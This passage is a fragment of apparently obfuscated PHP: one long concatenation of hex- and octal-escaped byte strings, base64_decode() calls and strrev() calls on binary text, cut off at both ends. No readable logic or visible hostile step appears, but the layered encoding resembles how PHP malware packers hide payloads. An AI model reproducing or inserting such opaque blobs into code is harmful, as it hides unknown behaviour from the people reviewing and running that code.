x46\x42\x2d\xb8\x1\x4\x47\x3\xa1\x78\x56\x36\xb2\x3d\xa9\xb6\x38\xca\x45\x99\x63\x4a\x29\x73\x26\xcb\x27\x30\xa1\x5c\xd8\xd1\xbd\x9a\xe9\x17\xf8\x7e\x4e\x4b\xca\x39".base64_decode('sYk4nDXNYkQppGBPkKZo4wXUU0WF8mifQ0pJPdIKqbtdbadkBYgkPcFZXdbM51iINpPBDAY0y4Q=')."\x18\x6a\x48\x5c\x29\x9b\xa4\x77\xa4\xf9\xc9\xac\xac\x83\x71\x5b\x58\x32\xd3\xce\xb9\x6c\x59\xc9\xa9\x49\xd9\x54\xb5\x82\x5b\x4b\x9a\x8a\xe9\x34\x4c\x5d\x91\x49\x69\x35\xf3\x25\x48\xa\x70\xea\x36\xe0\x5c\x74\xda\x78\xf1\x62"."\345\214\352\162\301\110\53\272\323\117\350\272\135\2\35\314\130\27\105\363\251\106\121\63\124\370\231\166\111\66\115\71\231\205\323\236\27\277\360\33\360\125\270\206\51\25\270\236\144\122\61\14\47\314\242\153"."\71\247\47\227\323\306\235\41\135\315\250\40\117\203\255\232\200\45\265\113\224\137\26\125\135\61\150\124\132\322\23\45\310\240\126\212\263\117\227\63\171\271\135\52\226\22\240\147\310\304\254\2\303\330\344\353"."\355\122\22\106\35\122\276\144\230\116\135\1\174\107\5\53\34\31\274\100\332\331\3\307\123\125\122\316\10\140\317\4\334\322\330\52\1\62\222\150\32\206\166\107\243\175\361\100\27\130\205\173\375\361\36\117"."\324\113\4\0\277\51\147\150\235\203\200\351\262\42\51\160\320\11\346\32\44\264\136\320\107\34\330\247\215\53\72\370\160\347\104\273\64\242\245\22\132\331\105\223\272\210\50\102\221\141\217\26\115\147\130\56"."\144\140\377\44\46\114\205\220\243\61\226\241\253\111\170\271\77\34\217\204\272\242\3\236\60\131\251\13\240\313\313\264\120\130\110\316\31\126\122\240\223\223\46\55\132\56\302\376\241\70\160\112\300\321\244\251"."\x70\x9a\xd0\xb4\x60\x60\x9\xec\x2\x9f\xd3\x0\x48\x4e\x11\x8b\x96\x1d\x54\xf3\x2a\xac\xa5\xc9\x52\x50\x9f\x81\x65\x7c\x9\xa9\x90\x1b\x55\x7d\x61\x2c\xdb\x50\x17\x4b\xcd\xaa\x77\x82\x7f\x1b\xea\x87\x62\x3e\x57\xc3\xf0\x22"."\xb7\xca\xf3\xb8\x9b\x5c\x4d\x52\x73\xe3\x6c\xa9\xf\xc8\x15\xaa\x9c\x93\x8\xbd\x54\x60\x34\x4a\xa1\x65\x56\x8a\xa\x2a\x85\x8c\x99\x25\x62\x60\xd8\x7f\x7c\xbf\x3f\x12\x8d\xf7\xf8\xa3\xdd\x21\x1f\xc9\xed\xf7\x90\x50\x50\xc3"."\23\214\326\166\10\377\14\223\161\0\53\175\106\111\2\301\116\227\163\220\215\120\252\121\350\124\316\250\151\316\226\3\100\36\41\235\206\31\27\217\104\324\174\221\262\31\63\133\312\47\204\240\233\227\100\106".strrev('8쒇S$̊),’ 3wJ򋹳27SHB[.c ').base64_decode('lB7FzGpkGgCJmFSpxOpGa5lScgrtpaxCeS2QjsZY5xV1Ja0SmgTiEIBzXqoaYZAJiic0PgClSA4=').base64_decode('MDnblQ3OumFEWFi7+oPBuDfUGwWSJIYMhANRP6UIjy/u8faxFYgPE0GAk6ySSWHIWLPAvTmb54w=')."\223\256\123\220\61\342\60\340\150\105\255\140\50\116\262\215\160\246\70\13\305\30\363\155\374\263\42\7\227\137\313\116\71\77\351\314\53\246\354\144\125\267\256\122\122\124\134\354\2\144\10\70\313\313\201\245"."\x11\x6c\xf\xe8\xf2\xd8\x17\x8a\x90\xc\x8b\x20\x14\x8\x13\x9\x45\x27\xf5\xe8\xeb\x27\x49\x79\x61\xf8\x97\xf8\xa3\x74\x69\x93\x89\xc4\xe1\x19\x88\x50\x3e\x55\x2\x88\xba\x3a\x29\xf3\xc6\x2d\xa2\x15\x21\x85\x96\xf3\x39\x2e".base64_decode('GMVVy8DFtcRqwJoAtcnVmuvkgxTtDvQui/eEfP5gPNALeF+0Et7f5/PQURfhnSG6dSPQfsAglns=').base64_decode('ggE7un8wEIlGqiYBWL/flgK2Sn1hf1dgkEW7Av6gLxL3erzdHKfX00Mi8TTcrBhuK34csPEI2/I=').base64_decode('xMfg9o12Ztyyv4hTyTnOCQSsPQohStJcuGlELSGybFIrUTJlwleecoa8TKamTNeVOvxTL3kiklk=')."\214\63\36\220\230\140\101\324\14\32\7\322\26\371\276\104\270\156\105\15\342\20\247\123\111\153\272\362\115\0\117\332\144\204\141\213\203\11\303\323\300\10\170\320\356\24\120\2\32\221\70\235\204\6\220\353"."\75\264\72\151\276\63\214\207\300\26\332\3\367\225\361\201\160\250\167\11\311\60\236\125\150\5\2\244\373\353\250\54\102\266\227\46\347\105\100\220\220\271\114\110\73\175\265\106\273\162\55\376\71\16\377\0"."\331\213\174\134\51\320\136\117\100\216\314\70\6\335\73\200\331\102\271\251\126\142\137\113\150\132\216\116\140\260\310\62\106\301\66\246\253\15\112\44\145\312\225\146\321\345\212\254\12\321\320\62\177\157\234\122"."\x16\x8e\x9\xd4\x88\x1\x60\xab\x17\xa\x93\xe\x31\xb5\x11\xba\xf1\xc0\x89\x61\x7f\x84\x4e\x7f\x5d\x19\x2d\xa9\xb4\xbb\xdc\xae\x59\x84\x8a\x15\xb0\xf0\x90\xcf\xbb\x57\xc6\xc6\x67\xd5\xd\x39\x67\xb9\x86\x41\xa0\xbe\x61\x31"."\216\222\130\314\145\211\316\40\371\113\72\313\15\145\217\72\143\121\175\173\314\35\163\327\55\152\37\362\70\47\145\347\144\243\163\236\163\170\126\314\125\77\213\0\206\327\64\73\132\327\101\4\200\270\350\330"."\x61\xf0\xb3\x30\xb6\x68\x66\xcc\x79\xdc\x89\xab\x16\xf\xc5\x86\x6b\xdb\x67\x1d\x13\x73\x1d\x1b\x1b\x1f\x6e\xa8\x5f\x44\xbf\x93\x2c\xe9\x60\x53\x95\x9c\x60\x55\x4d\xcd\xaa\x3\x55\x2\x32\x9\x43\x29\x20\x5e\x28\x20\xd0\x84"."\x49\xb5\xc8\xa1\x6b\x66\xaf\xa3\x70\x30\x86\x4a\x86\xe7\x18\x72\xc6\x66\xd\x2f\x12\xf2\x9\x20\xfb\xb7\x80\xcc\x2\x18\x73\x96\xe1\x79\x9c\x27\xc0\x96\xb1\xac\x70\xde\x13\xfa\x28\x15\x92\x9c\xbb\xc2\x79\x91\x90\x93\x84\xf"."\xa8\x99\x2\x9b\x42\x60\x25\x67\x9b\x59\xab\xd0\xbb\x66\x26\xfe\x5d\x47\x7\x32\xa3\xd0\xf5\x18\x9e\x43\xe9\x84\x3a\x4b\x5\x75\x94\x6e\xd1\xb\xca\x28\x9\x68\x26\xa5\xef\x84\x62\x8e\x2b\x94\x3c\x0\xdc\x12\x7\xc4\x41\x77"."\135\40\111\210\345\220\164\106\276\300\167\73\12\22\375\111\53\212\161\50\157\215\263\130\112\51\220\161\332\203\140\33\111\271\250\104\204\26\306\343\121\117\147\320\37\247\34\206\160\142\32\107\134\261\223\35"."\152\201\246\161\216\312\266\220\134\16\66\106\163\22\142\6\222\242\353\232\336\216\16\23\215\122\21\12\141\140\323\143\202\376\224\300\26\130\132\330\41\341\156\46\134\42\56\166\172\121\246\142\4\334\234\62".strrev('[:hVgq[43.5"0F^d Ԕ]')."\x67\x21\x9c\x8b\xab\xa6\x66\xca\x39\x86\x6\xd3\xa2\x10\x42\xb9\xd\x5d\xab\xc9\x16\x1b\xf\x60\x90\x33\x21\xb8\x3a\xb\xa7\x6e\x88\x43\xf6\xb2\x23\x25\x76\x52\x20\x1c\xf8\x0\x98\x43\x88\xe2\x7f\x17\xd6\x50\x36\x5d\x0\x13".base64_decode('wcsXqYDPSQbRM+gMEMmdBVQqY8pgOpsUamglPakwHIuQYco6WLO4SAeFL+FYENTcAY8RHHBNdQA=')."\61\317\1\317\151\34\134\124\165\360\23\0\7\23\74\35\104\36\165\360\322\111\60\340\163\250\206\17\311\305\250\134\224\104\353\154\146\341\176\72\47\117\70\160\375\203\312\230\222\163\320\332\73\150\243\34".base64_decode('tAUOtNHwkdr0A/ogtUFBwCSyDjgccGxpKTBIu4FJ0w4uaTsyulYq9tEvCTFcGQLgNWWAsKaZDro=')."\xf3\x61\x81\x1e\xc6\x81\x60\x75\x78\x68\x39\x1f\x70\x5e\x7b\xb6\x7c\x92\x26\xe0\xb8\xbd\xe\x18\xa\xd3\xbb\xe4\x31\x71\x80\xab\xe\x76\xc1\x4a\x18\xfc\x74\x93\x9f\xc2\x71\x71\xc9\xbe\x3\xb1\x9f\xee\xf0\x4e\xe4\x95\x88\xca"."\231\210\360\171\260\373\247\337\256\222\212\303\141\45\71\221\344\273\32\237\260\115\262\306\330\320\43\72\254\106\114\325\207\236\21\10\243\265\351\173\354\101\51\233\323\21\41\37\13\261\115\111\335\274\115\241".base64_decode('Il9xIEOIAD4oTHkKCnEOUyIrpGwkqSwzTu8XFAoT6k9bbykXRvnMpE2UYAEOgWfD0XHyIRai5Ec=')."\xd5\xe2\xb8\x5f\xe3\x79\xb6\xb3\x60\x1d\x6d\x63\x46\xb0\xdf\xfb\xd4\xc2\x84\x5a\x10\x37\xed\x1c\xca\x79\x1e\x27\xa\x48\xde\x3c\x86\xfb\x78\xaa\x30\xe6\x2d\xfc\x50\xc0\x41\xe\xb\x1c\xf0\x36\x48\xe0\x7a\x7c\x73\xb\x6a\x8f"."\156\242\170\335\111\111\266\232\323\11\350\264\106\371\174\354\7\333\244\270\215\124\11\221\146\145\235\367\62\235\143\220\260\131\253\14\210\302\243\2\132\132\36\343\354\336\222\107\230\31\206\71\301\316\67\204"."\240\265\120\34\365\115\25\351\146\273\277\152\121\161\322\251\106\220\335\255\131\303\250\245\121\255\152\24\111\5\22\220\7\350\331\27\25\357\343\266\363\5\20\25\106\52\156\71\212\300\325\360\60\326\7\4"."\233\34\30\1\335\5\47\311\22\310\330\304\125\210\257\120\220\231\342\260\200\124\264\363\100\13\257\256\266\360\331\271\265\15\152\213\362\217\132\370\116\305\352\104\204\23\42\213\66\22\252\117\201\135\243\113"."\xc7\x9c\xcd\x5\xc4\xf\x72\x47\xe3\x68\x14\x96\x37\x3e\x7d\xd7\x18\x13\x86\xa9\xe4\x9\x27\x5c\x67\xeb\x1d\x13\x6c\x6f\x12\xb2\xee\xd2\x41\x8d\x78\x45\xf9\x92\x40\x84\x8f\x12\x3\xc\xdb\x31\x70\xf1\x41\x8d\xca\xc2\x90\xfe"."\xfd\x29\xd5\x84\x10\xc8\xcd\x34\x7a\x5a\xc5\x11\x5\x36\xcf\x60\x42\x81\xa8\x4b\x5c\x15\x63\x90\x53\x47\x48\x2e\xc7\x4c\xb\x66\x35\x4e\xee\x6a\x40\x3c\xd7\xc5\xd7\x1e\x71\xe5\x12\x6f\x83\x20\x1a\x6f\x39\xbc\x5d\xc2\x21\xe1"."\x1e\x35\xcf\xae\x9b\x10\xd0\x65\x98\x5a\x91\xa7\x8\x51\x9c\x2c\x24\xf1\x42\x5\x2c\xd6\xf9\xa8\x86\x60\x5\x48\x21\xf9\x80\x77\x21\xc2\x25\x79\x91\x4\x8d\x89\xdb\x95\x3\x18\x2e\x91\x15\x79\x74\x9d\x12\x9\x6e\x1e\x3c\xc1"."\1\100\21\4\247\153\204\36\35\126\343\310\270\160\377\30\277\37\305\105\301\17\273\360\2\345\222\123\251\20\75\127\23\303\225\250\342\151\102\365\202\320\225\65\53\112\210\125\107\367\344\162\374\376\313\36"."\237\62\13\236\253\142\46\21\62\145\266\56\44\4\323\213\207\152\60\46\323\165\331\150\210\317\70\176\277\150\27\171\255\314\347\333\304\261\212\31\300\7\264\172\34\362\307\254\132\120\14\266\62\351\106\65"."\76\363\155\362\215\105\352\265\12\62\242\4\103\226\103\336\134\261\133\41\371\117\105\13\60\115\70\124\2\173\50\0\20\327\21\166\162\302\371\216\260\124\242\145\47\156\132\226\375\60\52\103\230\17\226\41".base64_decode('BvMPt6hL1/KBEJhf1YnOjqfQsyPE1MpsSyZmAkQCV6GpyqTJrCi+ZL1x31/eW//Zy1++8DMcf+Q=')."\55\374\333\332\62\33\7\310\245\373\332\357\240\137\24\346\352\114\33\6\327\150\257\277\164\320\356\167\254\373\361\155\201\275\136\276\116\131\172\305\312\367\232\175\233\122\103\167\344\26\376\355\336\227\366\273"."\160\313\325\335\147\156\271\372\211\145\13\357\375\342\200\334\310\37\26\265\233\203\273\71\36\71\325\371\312\111\173\277\262\371\300\301\347\23\316\217\363\333\226\74\360\230\153\342\350\31\77\271\173\326\17\317"."\xf8\xe4\x8d\x97\x27\xbe\x78\x76\xde\x3\x23\x77\xfd\x23\x77\xd5\x23\xb5\x8b\xca\xff\xfa\xb2\xf6\xcd\xa7\x9e\x3f\xfa\xfd\xa1\x7d\xbe\xfc\xd7\xfb\xaf\xde\xf2\xab\x83\xf6\x1a\x7e\x71\x24\xda\x7c\xc7\xb9\xd3\xdf\xdf\xf9\x92\x53".base64_decode('Gx+cd9BhT2QufvzuM6f3Dz77lP6TpdPeT6aunPfRO4eW/yyZn/7ur688ufbM+s++Xrn6ofq34oc=')."\335\224\237\271\327\345\67\36\372\363\353\216\177\365\250\316\3\176\376\237\362\323\332\123\165\3\57\337\264\341\215\335\136\175\346\270\365\353\77\355\334\173\203\53\175\330\251\207\176\32\73\347\266\273\277\370"."\xea\x6d\xcf\xe3\xa7\xed\xf3\x70\xdf\x60\xd6\x3b\xfb\xa0\x53\x1a\xbe\x7f\xcb\xf5\xf7\xef\xbb\x69\xe9\xaa\xa1\xc3\x82\x7b\x1e\xb1\xe3\x1c\x59\xdf\x6f\xfa\x86\x7d\x36\x9d\x3f\xfd\x91\xcb\x5f\x5c\x54\xd8\x7b\xc9\x93\xff\xbc\xbc".base64_decode('Z9ehTdc94n+25T7n6I13nbn2P0dN/+msdXOXH3FSW2T/OwoLz5s9surDX9//6T+uGXry88Pf3+s=').base64_decode('4+T3bw1c3ffMUyd43rrb1fidif7rDxx8rpQddEU+uOn1q45+ZH8jf+yn2fFzdnxSuOae4b/Xqcc=')."\377\366\316\17\37\173\264\176\373\262\256\225\67\276\23\374\360\167\346\362\226\351\155\75\27\36\272\166\333\123\67\17\375\244\355\344\272\307\77\132\374\320\73\167\355\145\16\277\264\372\240\206\213\66\34\120".strrev('y9|j疽ؙ&'."\n".'nn|yoG?Pfx]{')."\x7f\xec\x78\xec\xbd\xbc\xef\x1f\x73\xf7\x6a\xdb\x7b\xb7\xa7\x5f\x7d\x30\x16\x9c\x1e\x5e\x79\xe1\xd5\x4b\x8f\xd9\xb8\xe5\x88\x2f\xdf\x19\xdc\xf9\xcf\x37\xe7\xf6\x7f\xfb\xa2\x13\xd3\x7\x5e\xbd\xb4\x6d\xdf\x27\x9f\xbe\x2c\xfd".base64_decode('+92W7Yj8cvvl6SvWjX308OZXD7tg1dWxxJKjv1e+6aR9LvR5rjn8umf1fZt32v2ff9y/uGryjVM=').base64_decode('dn7qoEM675M78y/sl/3DtDd3fPqdFw6b/8gunsYl93d8N3/Ho+sL3Q/sdeZONz5zcre0bX3T+9I=')."\xb9\xd7\xc6\x7c\x85\x4b\x56\x6d\xb9\x7a\xa4\x6b\xe8\xa9\xbd\xe\x7f\xe3\x4c\xf3\xae\xd3\x8e\x4c\x1f\xe9\x69\x1c\x3d\xe2\xcb\x53\xf7\xb9\xe9\xfd\xe7\x5f\x78\x7b\xc5\x55\xf3\x37\xcd\x6f\x3e\xe6\xce\x42\x30\xfc\xc4\xe1\xd2\x29".strrev('{5\'lϷx4?G%q~+g{o|').base64_decode('F78+/aVo17O+6972/vXlB7/T8f7gB1t+vvWfv9py2Es/fabzLOf4gtRDrYuzmbeeueXkxLxbNxw=')."\373\342\255\211\213\273\262\323\376\324\177\356\254\324\315\367\254\370\236\317\330\170\301\76\77\172\245\243\173\103\272\164\204\166\127\106\156\31\376\307\131\7\176\161\320\316\57\274\170\365\354\167\366\137\170\300"."\x3f\xa7\xdf\xda\x7e\x99\xb4\xbc\x66\xf1\x25\x6b\xea\xf\xcf\xf6\x87\xb6\x66\x63\xb5\x37\xae\x8\x9e\xad\xde\xfa\xc2\xd6\x1d\x33\x3f\xbb\x79\xf8\xe8\x3b\xe\x5f\x7a\x63\xc7\x6b\xcb\xee\xb9\xf5\xf1\xef\x9d\x74\xb5\xf3\xa3\x5d".strrev('է)'."\n".'ntwl/꘼O'."\r".'h:n'."\r".']Oe')."\317\336\234\371\303\325\337\331\332\331\177\303\246\211\302\216\151\217\274\77\70\363\117\251\143\217\14\314\77\154\305\76\117\177\367\300\340\214\351\351\315\103\236\13\172\203\357\154\223\77\357\276\166\274\375\117"."\x6b\x96\xde\xb3\x4c\xf9\xe4\x84\xd7\x9f\xbc\xfc\xf5\x23\xaf\x7f\xe9\xf8\xc3\x8b\xca\xb1\x2b\x1e\xd7\x1d\x97\x3d\xb4\x4a\x7e\x6f\x57\xef\xf5\x4f\xfa\xeb\x57\x2c\x3e\x4b\xc9\x37\xfe\x67\x93\xeb\x88\x4f\xc6\x7\xae\x32\xeb\x5e"."\xf2\xfd\xea\xec\xf2\xc1\xfe\x2d\xd3\xf6\x1c\xb9\xeb\x77\xdf\x1f\xd9\xf1\xd9\x31\x6d\x17\xcc\x1b\x2f\xec\x7a\xd0\xf0\x4f\x96\x6e\xd8\xec\x99\x79\xcd\xce\xaf\x6e\x3a\xfb\xb8\x9d\xcf\x38\xe3\xe0\xd8\xac\xc7\x3d\x85\x5e\xef\x9f"."\317\53\356\171\300\366\53\66\175\260\133\343\31\245\160\377\353\237\376\352\37\315\367\247\257\164\55\177\240\311\37\76\162\227\277\335\275\161\245\357\362\73\56\174\371\351\315\117\254\77\376\241\373\322\257\255"."\77\364\210\7\225\123\266\375\145\376\246\31\377\376\160\243\372\311\75\327\154\176\371\342\203\36\333\50\315\377\123\347\265\37\276\240\276\373\310\243\312\257\222\353\317\353\372\321\222\25\157\324\65\77\355\63".strrev('mat}C{P.}lԵzNGnA݃xmf')."\xc3\x37\x4e\x3e\x79\xf9\xed\x7f\x38\xec\xb6\xdd\x82\xbb\x1c\x70\x97\x4b\x7b\xe2\x6f\x57\xfe\xf5\x47\x5b\x4e\x7f\xe1\x95\xeb\x8e\x3e\xf2\xf6\xf6\xbd\xd6\xd6\x7c\x9e\xf7\x65\xdf\x3b\xe6\xa7\x33\xfe\x33\xb9\xe7\xa1\xe3\xda\xc1".base64_decode('e27e2PmLj3/79uu7t2ffvWbbjMsuUC4+97Vbv1//nPSz2rNOmdj8m3Nvefj2HZfNv00du+LMl34=').base64_decode('+Lsj7y707H7oG4F3nvPee8J7fv3442cX/vSLt++Z03bf4I+XvTdy+J0vFUbDf31v12fqDtfrf3Y=')."\x83\xd1\xa3\xaf\x6e\x28\xfd\xe8\x84\x9a\xe0\xf2\xcb\x1f\xdd\xf0\xb3\xe1\x9a\x83\x57\x7e\xf1\xee\xab\x8f\x1d\xfd\x83\x13\xff\xfd\xee\x8d\x3\x37\xfe\x6c\xe5\x57\x9f\xbe\x33\xe7\xf7\xf1\xd8\x7d\x27\x7e\xf9\xc1\x8b\xef\xb9\x7f"."\37\377\352\355\57\116\76\344\220\237\175\265\365\137\133\257\173\352\315\257\23\312\221\173\176\160\354\344\337\77\137\264\374\313\353\177\166\323\225\162\354\236\363\156\312\254\355\364\137\172\345\237\366\152\136\161"."\372\23\277\331\357\374\265\77\275\255\346\77\377\350\133\277\137\164\365\247\372\375\203\117\155\72\300\371\326\322\247\147\37\362\373\223\236\231\330\65\343\336\377\221\125\373\175\364\352\214\331\247\37\376\350\167"."\357\376\363\264\203\117\372\371\266\177\277\367\310\65\257\55\276\330\167\173\321\171\377\115\27\75\232\367\217\77\334\33\334\62\224\151\364\372\136\315\205\203\27\111\147\256\113\237\167\351\301\341\105\107\35\375".base64_decode('4bN1T2YfXvnEh9NueWl8YM4vzpn95orXy/eOrhm+9uYfFg7c+vDbt2/898lfXirfmt5xza3vr1g=').base64_decode('f0Ddcd3lwAGd52wfPOW1N1Y/ckj27Rtv+emyVVcF/3LeKdIW1f/xcYPBdw/semKfw25+czC14Ic=')."\276\263\373\56\375\274\355\347\263\303\57\70\313\356\231\13\132\16\271\365\251\43\336\271\356\315\263\153\116\71\355\347\333\217\71\72\163\375\206\75\176\275\243\151\37\63\32\376\374\321\171\243\63\123\233\256".base64_decode('+c0NW39hPD79tV69vLLm6y+Pbjv74R2XvfjbS47ZMH1+7w3dr93yTjDU+6V/5WFjnaUbPv3kves=')."\x4f\x9b\xff\xee\x89\xf9\x3\x5c\xcf\x7e\xb0\xf7\x23\x27\x5e\xf9\x40\x5d\x61\xfc\x93\xdf\x37\xdc\x72\x65\xef\x75\x57\xf6\xde\xf9\xfc\x9b\xe7\x7e\x71\xe4\xe7\x83\xf\x7f\xf2\xc1\xf6\x39\x97\xbe\xb3\xb6\xe9\xc8\xf7\xef\xe8\x3a"."\xe3\xe5\xd7\xd4\xd7\x8a\xc6\x9\x9b\xde\xf8\xf2\xbe\x17\x3e\x78\xf0\xc1\x93\x3b\x1e\xb9\x7f\xe2\xdd\xdf\xf9\xbd\xee\x1d\xcd\x67\x86\xff\xbd\xed\xb7\x9f\x9d\x70\xfd\x6f\x8e\xbd\x69\xd7\xf5\x57\xfa\xbe\xdc\xd7\x75\xd3\x15\xe7".base64_decode('7n/O+ac37bLHO6HjMidtuXvG8i2fPr1T9tXGxIUfSYe0jPR89ztPac9d9MyPzvtyx271X83Yc/E=')."\226\213\256\217\64\356\262\176\333\320\121\213\34\146\162\371\157\276\172\366\367\277\74\351\117\207\336\267\347\25\3\317\354\361\317\206\105\245\43\126\375\145\316\273\317\370\66\236\33\270\142\361\151\117\334\176"."\341\23\215\337\371\360\247\7\274\376\205\367\57\267\352\211\367\36\274\356\32\275\274\317\365\33\266\276\344\135\331\153\166\176\175\336\363\367\74\55\67\55\372\323\161\217\325\174\364\302\241\221\144\300\265\367"."\xbb\x7\x5d\xe2\xb\xdd\x75\xee\x86\xbf\xb5\x3e\x7e\xd4\x1d\x77\xdf\x3b\x6f\xbf\xcd\xaf\x7c\xfc\xd6\x69\xf2\x9a\xf7\xcf\xb8\xf0\x1f\x17\xef\xdb\x73\xd7\x7e\x8f\xba\x3e\x7b\xe4\xdc\xdf\xcf\x1b\x77\xfd\xea\xe4\x2d\xeb\xa7\x8f"."\36\267\341\244\75\337\127\126\355\72\357\173\331\71\33\277\76\364\342\315\322\35\115\43\311\211\13\46\237\257\115\335\276\163\267\274\45\177\272\332\367\227\372\207\366\134\375\213\101\303\165\303\300\37\303\221"."\x59\xf7\xc\x5e\xf8\xf1\xeb\x1f\xee\x7e\xcf\xb\x2b\x8e\x7e\xf9\xa8\x53\xe5\x7d\x2f\xbd\x24\x77\xce\xd1\xdd\x2b\xf7\x38\xf0\xfa\x27\x7f\xf7\xd5\x89\xf7\xcd\xb9\x7d\x7b\xdb\x55\xb7\xdd\x3d\x3f\x12\x6a\xba\x70\x37\xf9\xbb\x7f"."\x38\xd1\xff\xc0\xdf\x3f\x38\xec\xcc\x96\x53\x5f\x39\xf4\x7e\xff\xc4\xdf\x2f\xff\x4d\xe4\xba\x1b\xb4\x5\x27\x3e\xdd\x9e\x9f\x76\x82\x7f\x6f\xe7\xd0\xc0\x2f\x8e\xf9\xe8\xc2\x59\x97\xef\x3d\x6d\xe8\x8f\xd3\x9f\x1a\x6c\x38\x2a"."\370\342\210\253\173\377\67\333\103\47\176\366\324\17\37\233\60\317\371\352\202\127\176\174\165\354\262\163\166\137\273\171\343\151\337\157\375\344\123\327\362\221\317\317\72\370\337\147\136\361\227\306\235\77\77\77"."\xf0\xb3\xfb\x7e\x3a\xfd\xad\x8e\x8f\x3f\xd8\x31\xf0\xe8\x3e\x27\x2e\xef\xff\xe5\xc3\x2f\xbf\xe4\x7b\xf4\xaa\xdc\xed\x67\x5d\x7b\x7f\xdd\xc6\x53\x77\xfd\xdb\x81\x4b\xcb\x91\x5b\xce\xdf\xee\x5b\x2c\xfd\xf6\xa2\x7f\x6d\xfd\xf0".strrev('xk?y9?!=>^?ς')."\270\361\153\363\323\167\267\156\255\75\372\222\257\77\33\337\176\364\17\312\237\276\370\346\15\35\137\177\364\300\327\137\235\25\336\347\267\255\107\374\332\167\243\273\275\174\316\176\267\357\174\355\61\117\35\361"."\xf7\xd6\x39\x1f\xbc\x51\xbe\xd8\xbf\xf9\xde\x47\x9b\xcf\x39\xf5\xce\x37\xdf\x9e\x7c\xfd\x8a\xfb\x5e\xbc\xf3\xf0\x67\x5e\x7a\xf6\x83\x95\x6b\xbe\xbe\xdc\x28\xff\xf1\x6f\xff\xde\xfd\x91\xe7\xff\xf9\xbb\xfb\x3e\xdf\xf7\xa8\x69".base64_decode('/X/4edPs6/9w+t/ueuLiz3beJ/PhY/8KPnnIGfq1sWtfmv33L348sfGxS18svNS+YfNVPzpj0dc=')."\247\57\231\45\113\357\34\222\372\165\141\363\57\157\136\222\73\241\365\322\173\176\221\213\266\336\167\325\315\363\217\173\364\173\233\176\362\305\343\135\331\316\225\377\336\262\376\335\37\65\74\344\250\375\373\201"."\xbf\x78\xee\x82\x3b\x9d\x2f\xbe\xb5\xf4\xa8\xd5\x5f\x9d\x37\xf0\xca\x6d\xaf\xff\x72\xda\xd7\xbb\x9c\xed\xf8\xdb\xbc\xd\x7\x53\x45\xeb\x79\x6d\x73\x70\x60\xee\x3c\x72\x89\xd3\xd6\x42\x2\xb3\x9b\x89\xde\xf3\x9c\x46\x12\x68"."\x9b\x3b\x8f\x6c\x3d\x26\xf2\xe3\xa3\x54\x5b\x96\x28\x53\x8c\x94\xd4\x89\x49\x93\x5e\xd3\x8e\xe7\xcd\xd1\x12\x39\x67\x6b\x6e\x26\xb2\xe7\xdc\x46\x72\xea\x30\x9e\x2d\x27\xd3\xa3\x34\x79\x36\x49\x6e\x25\x92\xea\xec\x36\xf2\xbd".base64_decode('llZSdjK32hwbJwc582gFR41CKlMmyjtEi6GNfGFuE6lqC0lQSzm5WCby/+wWgtbUTL7Q3NJGDwY=')."\62\211\311\54\301\233\323\102\152\222\117\231\23\305\121\231\26\111\372\54\223\56\151\105\235\134\273\115\214\251\253\23\51\162\303\126\116\251\311\261\325\244\152\345\144\41\223\246\112\335\315\163\132\150\263\111".strrev('HФ9[ZeG\'GȖOAJ3bOʜBH\'yR$ѵ4')."\27\150\133\110\165\344\364\104\141\254\110\316\164\347\266\221\57\247\115\165\162\54\101\276\61\46\247\262\112\222\214\160\163\53\251\176\266\120\4\155\235\304\221\311\325\132\71\115\357\224\232\133\111\337\313\23".strrev(';"dKHٔvr ]E3ɤѕt9P.S7{tټi3KZ')."\223\12\315\153\46\37\151\235\113\232\124\66\225\344\130\226\364\324\270\121\112\45\62\344\244\304\54\247\113\371\325\244\261\155\363\110\106\263\230\232\110\224\164\272\233\42\245\264\265\221\344\246\71\163\151\117"."\66\122\372\154\242\15\234\115\333\77\231\52\123\175\217\326\46\62\230\305\325\243\351\111\205\174\173\44\137\36\55\30\164\144\307\47\106\313\71\172\240\71\236\34\115\245\111\43\347\122\22\231\73\217\214\252"."\x3e\x39\x62\xe6\xcb\x54\xfb\x55\x1e\x59\x3d\xae\x12\xdc\x66\x5a\xa1\x36\x4a\x72\x59\x23\xad\x64\x46\x9\xbd\xa6\xcb\xc5\x8c\x96\x5d\x4d\x5a\x41\xc7\x62\x12\xc\x40\x9a\x1e\xed\x37\x35\x93\x81\x31\x8d\xd1\x54\x22\x4b\xa0\x63"."\xc5\xf1\x82\x92\x4b\x53\x6e\x41\x3e\x92\x96\xcb\xa3\xf9\x4\x39\x4d\x9e\xc8\xe7\x52\x49\xb6\xc3\xce\x2b\xc5\xd2\x8\xe9\xc0\xf1\x9\x35\xb3\xda\xa4\xaa\x73\x39\xa5\x3c\x9e\xa5\x37\xa\x93\x99\x11\xb9\x44\x1a\x5d\x56\xb\xa3".base64_decode('OTouLXNJW1tb6YSYS/owW54wZJMcgLfOm0MDJMM82tcZQxnLJkjLW1pIJ85ubKJ9MT6RpxVppjs=')."\xe6\x89\xfc\x64\x7a\x7c\x6c\x35\xa5\x7\xf2\xed\x44\x76\xf5\xe4\x48\x9e\x34\x74\x36\x1d\xe2\xe2\xc8\xe4\x84\xac\x95\xe8\xcc\x4c\x17\x92\xab\x49\xa4\x85\x56\x86\xf6\xd4\xea\x49\x53\x4e\x27\x9\x1\xca\xf9\xe2\xe8\xe4\x18\x39"."\x66\x58\x91\x27\x84\xdd\x29\x27\x47\xe8\xf1\xb1\x61\xca\x66\xc9\xb0\x21\x50\x9d\xf8\xa4\xa8\x50\x39\xa2\x28\x54\x73\x90\x76\x30\xbf\x2\x36\x4a\x48\x9f\x97\xa6\xf3\x83\x3\x78\xe2\x22\x5c\x15\xc3\x68\x44\xc4\x4d\x16\x4c\x21".base64_decode('GcQsqVCXD55v8Bg9iI+Yms4uz7GOiwvW0GVtEB0CgpFKWNIZlJ6K2FPSdngCdV1cjLhodySEbsU=')."\7\337\246\154\214\270\104\260\123\114\125\13\240\344\134\316\145\65\246\211\243\377\110\157\141\123\15\103\31\55\51\114\361\30\232\136\320\141\212\163\225\120\336\102\176\163\51\300\170\37\13\135\141\35\64\101"."\x43\xac\x98\xd2\x18\x34\x65\x58\xac\x80\xc8\x64\xcf\x4f\xc0\xa8\x10\xb6\x75\x89\x8b\xd7\xac\xe\x6\xeb\xab\xf5\xb8\x50\x2b\xd2\x19\x6e\xd8\x19\x6e\x54\x20\x6f\xa7\x6d\x98\xc4\x5a\x67\xd8\x61\x31\x3f\xb9\x24\x75\xe0\x15\x20"."\x17\x3\x15\x7d\x85\x46\xd7\x4a\x80\x96\x71\xb7\x92\x2e\x